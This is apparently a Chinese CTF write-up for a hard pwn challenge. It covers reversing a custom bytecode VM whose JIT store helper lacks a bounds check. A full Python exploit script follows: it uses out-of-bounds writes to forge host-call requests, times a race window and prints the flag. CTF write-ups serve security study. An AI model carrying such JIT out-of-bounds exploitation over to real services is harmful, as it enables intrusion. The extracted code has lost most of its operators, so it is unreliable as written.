YAOTU INSIGHTS

数信杯一血JIT

数信杯一血JIT
title: OpposeAI-JIT ctf: 第四届数信杯数据安全大赛 date: 2026-10-16 category: pwn difficulty: hard points: - flag_format: flag{...} author: zhzuo备注参考价值不高GLM5.3跑出来的环境已释放…OpposeAI-JITSummarywasmjit是一个 C 编写约 4000~8000 行的自定义栈式字节码 VM JIT 编译器服务wasmshOPEN/CALL/CLOSE。JIT 路径的store32/load32helper 缺少解释器所具有的0x600硬上限检查造成线性内存越界写利用它伪造 import-table 中的 call-host 请求id/kind/arg/hash依次走通arm → commit → flag三阶段能力状态机其中 sync 阶段须落在后台 worker 线程维护的(1ms, 90ms) 竞态窗口内且每次调用的g哈希需精确预测session168的滚动哈希演化。最终kind3调用触发读/flag并回显。靶机nc 183.201.252.35:14856每次实例 flag 不同附件wasmjitELF x86-64, stripped, PIEFlagflag{e560d7b014484c9fbd8554d0504dbb86}关键结构逆向结论模块格式OPEN的 hex[0:4] magic WJ3\0 [4] version3 [5] flags3 (bit0声明host导入, bit1) [6:8] payload长度(u16)≤0x1000 [8:10] 内存上限 0x600~0x3000 [10:12] entry0 [12:16] ABI CPM! [16:] 字节码字节码操作码FUN_0010a080验证器 FUN_0010a2f0JIT 编译器1pushi imm64 2add 3xor 4grow(mem) 5load32 6store32 7call-host 8print32 9dup 10swap 11halt(必须)会话内存布局0x5200大小的 island 堆块内含若干随机偏移对象偏移由 urandom 派生每连接不同线性内存 base islanduVar330x100~0x1f0起始处有OTJI魔数import tablecall-host 请求帧islanduVar340x900~0xee0开头内联NLEGDIRB字符串扫描标记字段8 id, 0x10 kind, 0x18 arg, 0x20 hash——正是FUN_0010c750读取的四元组其余同步字段FUN_00108e70在每次真实 grow/成功op7后同步it[0x28]epoch, it[0x30]rq[0x10], it[0x38]rq[8], it[0x40]rq[0x38], it[0x48]session160, it[0x50]session168, it[0x58]/it[0x60]RACE[0x10]/[0x18], it[0x68]RACE[0x20]漏洞解释器op6store同时检查addr ≤ cur-4和addr 0x5fdJIT helperFUN_00109140只检查前者。先用grow把cur提到上限header 内存上限 0x3000JIT 模式下即可越界读写整个 island上限island0x31ec覆盖 import table。机器校验全部可被越界写满足FUN_0010c750op7 处理器前置条件VM0x220!0有 grow、VM0x2288、VM0x2340xff。store helper 检测到写入落在[it, it0x28)窗口时按 4 字节对齐置位VM0x234的对应 bit——恰好 8 次写 id/kind/arg/hash 即得 0xff且这 8 次均 0x600 使VM0x228计数到 8。call-host 状态机g 哈希校验it[0x20] 必须等于运行时计算值输入含会话密钥见脚本g_hashkind1armFUN_0010b420要求epoch0成功后RACE[8]1, cap_state1, epoch1, rq[0x38]mix(rq38_init^s158^1), session160更新kind2commitFUN_0010b590要求epoch1, cap_state1且RACE[0x20]RACE[8]竞态且argRACE[0x10]或RACE[0x18]成功后cap_state2, epoch2kind3flagFUN_0010c1d0要求epoch2, cap_state2cap 哈希自动满足 → 读/flag输出HOST flag{...}竞态窗口RACEISLAND后台 worker 线程FUN_001095b0每 0.5ms 醒来在RACE[8]变化后把RACE[0x20]同步为新值、RACE[0x18]旧RACE[0x10]此后每 90ms 轮转一次RACE[0x10]/[0x18]掺入未知随机数。因此 sync 必须在arm 之后约 (1ms, 90ms)内执行且arg取 arm 前读到的RACE[0x10]arm 后它变成RACE[0x18]。JIT 触发条件同一模块重复CALL时编译计数递增达到随机上限9~24由 trace-arena 记录与会话密钥派生不可预知后进入 JIT。对策每批直接发 30 次CALL从响应中的HOST xxx行数统计实际 JIT 次数。session168 演化最难的一环每次含 op7 的 JIT 调用结束后session168 VM[0x208]而VM[0x208]在本次调用内被每个 helper 更新必须逐操作精确模拟入口: h mix64(s168 ^ rol(FNV(payload),17) ^ 0x8e3779b97f4a7c14) grow: h mix64(rol(0x3000,17) ^ h ^ (c·K) ^ 0x…002) # c已执行操作数1 store: h mix64(rol((val32)^addr,17) ^ h ^ (c·K) ^ 0x…004) # 8 次 op7: h mix64(rol(rol(rq8,41)^capst^kind^rol(epoch,23)^rol(it_hash,31)^rol(arg,17),17) ^ h ^ (c·K) ^ 0x…006) 收尾: s168 mix64(rol(JIT计数,17) ^ h ^ (12·K) ^ 0x…007)被拒绝的 JIT 调用epoch 已变同样演化 session168需按其当次状态参数逐条模拟。SolutionStep 1: 侦察JIT 越界读 print 掩码解码print 输出被mask (n·0x9e3779b9 C) ^ value掩码C 含会话随机数先print 0得 mask0其后同批次内mask_i mask0 i·0x9e3779b9即可解码。扫描0x710~0xde0步长 0x10找0x47454c4e“NLEG”定位 import table随后读出全部密钥rand1, rq8, rq38_init, s160, s168, RACE[0x10]等s158 mix64(rand1 ^ 0x56d5941200e40d7f)可算出。Step 2: 三阶段攻击每阶段构造[grow; 8×(pushi addr; pushi val; store); op7; halt]模块注意地址先入栈mem[second]top批量OPEN CALL×30arm 批读完响应后按实际 JIT 次数模拟 session168 演化45ms 后发送 sync 批落在竞态窗口内最后 flag 批无时序要求。完整脚本从连接到打印 flagimport socket, struct, subprocess, sys, time, re M (164)-1 def mix64(z): z M z ((z ^ (z30)) * 0xbf58476d1ce4e5b9) M z ((z ^ (z27)) * 0x94d049bb133111eb) M return z ^ (z31) def mix_nf(z): z M z ((z ^ (z30)) * 0xbf58476d1ce4e5b9) M return ((z ^ (z27)) * 0x94d049bb133111eb) M def rol(x,n): x M return ((xn) | (x(64-n))) M if n % 64 else x def ror(x,n): return rol(x, (64-n)%64) def fnv(data): h 0x14650fb0739d0383 for b in data: h ((h ^ b) * 0x100000001b3) M return h def g_hash(id_, kind, arg, capstate, s158, rq8, rq10, rq38, s160, s168): t ((capstate1) * 0x517cc1b727220a95) M t ^ s158 ^ rol(rq10, 11) ^ rol(rq8, 23) ^ ror(rq38, 27) t ^ ror(s160, 17) ^ rol(s168, 7) t ^ (0x9e3779b97f4a7c15 * id_) M t ^ (0xd6e8feb86659fd93 * kind) M t ^ rol(arg, 17) ^ 0x39a5f17c2d8e640b z1 mix_nf(t) z2 mix_nf((id_ ^ arg ^ 0x6f70656e2d6a6974) M) w (z1 31) ^ rq8 w ^ rol((z2 ^ (z231)) M, 29) w ^ z1 ^ 0x6f70656e2d6a6974 return mix64(w) def pushi(v): return b\x01 struct.pack(Q, v) OP_GROWb\x04; OP_LOADb\x05; OP_STOREb\x06; OP_CALLb\x07; OP_PRINTb\x08; OP_HALTb\x0b def module(code, memlimit0x3000, flags3): return bWJ3\x00 bytes([3, flags]) struct.pack(HHH, len(code), memlimit, 0) bCPM! code def recon_module(offsets): code pushi(0x3000) OP_GROW pushi(0) OP_PRINT for off in offsets: code pushi(off) OP_LOAD OP_PRINT code OP_HALT return module(code) def exploit_module(itoff, id_, kind, arg, hash_): code pushi(0x3000) OP_GROW def st64(addr, val): return (pushi(addr) pushi(val 0xffffffff) OP_STORE pushi(addr4) pushi((val 32) 0xffffffff) OP_STORE) code st64(itoff0x08, id_) st64(itoff0x10, kind) st64(itoff0x18, arg) st64(itoff0x20, hash_) code OP_CALL OP_HALT return module(code) KGC 0x9e3779b97f4a7c15 def sim_module_s168(s168_entry, F, stores, op7_args, jitctr): h mix64(s168_entry ^ rol(F,17) ^ 0x8e3779b97f4a7c14) ctr 1 ctr 1 # grow h mix64(rol(0x3000,17) ^ h ^ ((ctr*KGC)M) ^ 0x1000000000000002) for val, addr in stores: ctr 1 h mix64(rol(((val32)^addr)M,17) ^ h ^ ((ctr*KGC)M) ^ 0x1000000000000004) rq8, capst, kind, epoch, ithash, arg op7_args ctr 1 t rol(rq8,41) ^ capst ^ kind ^ rol(epoch,23) ^ rol(ithash,31) ^ rol(arg,17) h mix64(rol(t,17) ^ h ^ ((ctr*KGC)M) ^ 0x1000000000000006) ctr 1 return mix64(rol(0 ^ jitctr,17) ^ h ^ ((ctr*KGC)M) ^ 0x1000000000000007) def module_stores(itoff, id_, kind, arg, hash_): out [] for addr, val in ((itoff0x08, id_), (itoff0x10, kind), (itoff0x18, arg), (itoff0x20, hash_)): out.append((val 0xffffffff, addr)) out.append((val 32, addr4)) return out class Session: def __init__(self, target): if target local: a, b socket.socketpair() self.proc subprocess.Popen([./wasmjit,--stdio], stdinb.fileno(), stdout1, stderr2, close_fdsFalse) b.close(); self.sock a else: host, port target.split(:) self.sock socket.create_connection((host, int(port)), timeout10) self.sock.settimeout(0.5) self.buf b def _recv(self): try: d self.sock.recv(65536) if not d: return False self.buf d return True except socket.timeout: return False def read_idle(self, idle0.35): last time.time() while time.time() - last idle: if self._recv(): last time.time() out, self.buf self.buf, b return out.decode(errorsreplace) def read_calls(self, n, timeout5.0): deadline time.time() timeout text def seen_count(t): return sum(1 for l in t.splitlines() if l.strip()OK or l.startswith(ERR)) while time.time() deadline and seen_count(text) n: if self._recv(): out, self.buf self.buf, b text out.decode(errorsreplace) return text, seen_count(text) def send(self, s): self.sock.sendall(s.encode()) def close(self): try: self.send(quit\n) except: pass try: self.sock.close() except: pass def drive_recon(sess, mod, label): sess.send(OPEN mod.hex() \n) r sess.read_idle() if OK open not in r: raise RuntimeError(f{label} open fail: {r!r}) n 0 while n 40: sess.send(CALL\n) r sess.read_idle(0.25) n 1 if ERR interp not in r and r.count(OUT ) 1: return r, n raise RuntimeError(f{label}: no JIT) def outs(r): return [int(l[4:],16) for l in r.splitlines() if l.startswith(OUT )] def decode(vals, count): K 0x9e3779b9 return [vals[1i] ^ ((vals[0](i1)*K)0xffffffff) for i in range(count)] NCALL 30 def main(): target sys.argv[1] if len(sys.argv) 1 else local sess Session(target) print([*] banner:, sess.read_idle(0.8).strip().splitlines()[:1]) # ---- Phase A: 定位 import table ---- cands list(range(0x710, 0xde1, 0x10)) rA, _ drive_recon(sess, recon_module(cands), A) loads decode(outs(rA), len(cands)) hits [c for c,v in zip(cands,loads) if v 0x47454c4e] if len(hits) ! 1: raise RuntimeError(fitoff scan: {hits}) itoff hits[0] print(f[] itOffset {itoff:#x}) # ---- Phase B: 读会话密钥 ---- offs [itoffx for x in (0x28,0x2c, 0x30,0x34, 0x38,0x3c, 0x40,0x44, 0x48,0x4c, 0x50,0x54, 0x58,0x5c, 0x60,0x64, 0x68,0x6c, 0x70,0x74)] rB, _ drive_recon(sess, recon_module(offs), B) L decode(outs(rB), len(offs)) u64 lambda i: L[i] | (L[i1]32) epoch, rand1, rq8_0 u64(0), u64(2), u64(4) rq38_init u64(6) s160_pre, s168_pre u64(8), u64(10) race10, race18, race20, capst u64(12), u64(14), u64(16), u64(18) print(f[*] epoch{epoch} capst{capst} rand1{rand1:#x} rq8{rq8_0:#x}) assert epoch0 and capst0 s158 mix64(rand1 ^ 0x56d5941200e40d7f) jitctr 2 # reconA1, reconB2 # ---- ARM 批 ---- rq8_arm rq8_0 1 g_arm g_hash(0, 1, 0, 0, s158, rq8_arm, rand1, rq38_init, s160_pre, s168_pre) mod_arm exploit_module(itoff, 0, 1, 0, g_arm) F_arm fnv(mod_arm[16:]) sess.send(OPEN mod_arm.hex() \n CALL\n*NCALL) t_arm time.time() r, n sess.read_calls(NCALL, timeout8) arm_ok HOST arm in r n_jit sum(1 for l in r.splitlines() if l.startswith(HOST )) print(f[*] arm: ok{arm_ok} jit_calls{n_jit}) if not arm_ok: print(r); raise RuntimeError(arm failed) stores_arm module_stores(itoff, 0, 1, 0, g_arm) s168 s168_pre for i in range(n_jit): jitctr 1 op7a (rq8_arm, 0 if i0 else 1, 1, 0 if i0 else 1, g_arm, 0) s168 sim_module_s168(s168, F_arm, stores_arm, op7a, jitctr) rq38_arm mix64(rq38_init ^ s158 ^ 1) s160_arm mix64(0 ^ 0 ^ 1 ^ s160_pre ^ g_arm ^ rq8_arm) # ---- SYNC 批须在 arm 后 (1ms, 90ms) 窗口内---- rq8_sync rq8_0 2 arg_sync race10 g_sync g_hash(1, 2, arg_sync, 1, s158, rq8_sync, rand1, rq38_arm, s160_arm, s168) mod_sync exploit_module(itoff, 1, 2, arg_sync, g_sync) F_sync fnv(mod_sync[16:]) elapsed time.time() - t_arm if elapsed 0.045: time.sleep(0.045 - elapsed) sess.send(OPEN mod_sync.hex() \n CALL\n*NCALL) r, n sess.read_calls(NCALL, timeout8) sync_ok HOST commit in r n_jit_s sum(1 for l in r.splitlines() if l.startswith(HOST )) print(f[*] sync: ok{sync_ok} jit_calls{n_jit_s}) if not sync_ok: print(r[:2000]); raise RuntimeError(sync failed) stores_sync module_stores(itoff, 1, 2, arg_sync, g_sync) for i in range(n_jit_s): jitctr 1 op7a (rq8_sync, 1 if i0 else 2, 2, 1 if i0 else 2, g_sync, arg_sync) s168 sim_module_s168(s168, F_sync, stores_sync, op7a, jitctr) rq38_sync mix64(s158 ^ rq38_arm ^ arg_sync) s160_sync mix64(arg_sync ^ 1 ^ 2 ^ s160_arm ^ g_sync ^ rq8_sync) # ---- FLAG 批 ---- rq8_flag rq8_0 3 g_flag g_hash(2, 3, 0, 2, s158, rq8_flag, rand1, rq38_sync, s160_sync, s168) mod_flag exploit_module(itoff, 2, 3, 0, g_flag) sess.send(OPEN mod_flag.hex() \n CALL\n*NCALL) r, n sess.read_calls(NCALL, timeout8) print(r) m re.search(rHOST\s(\S*\{[^}]*\}), r) if m: print([] FLAG:, m.group(1)) sess.close() if __name__ __main__: main()运行python3 exploit.py 183.201.252.35:14856实际输出节选[] itOffset 0x860 [*] arm: okTrue jit_calls9 [*] sync: okTrue jit_calls15 HOST flag{e560d7b014484c9fbd8554d0504dbb86} [] FLAG: flag{e560d7b014484c9fbd8554d0504dbb86}Flagflag{e560d7b014484c9fbd8554d0504dbb86}备注工具Ghidra 12.1.3 headless批量反编译、gdbPIE 基址下断点抓运行时证据、pwntools/裸 socket本地验证./wasmjit --stdio输出走 fd0用 socketpair 驱动 自建/flag全链路先在本地打通再打远程两个坑点记录① store 操作数顺序是pushi addr; pushi val; storemem[second]top②rq[0x38]初始值非 0 而是mix64((rand1^rand2)^0xa5a5a5a5a5a5a5a5)但已同步到it[0x40]可直接读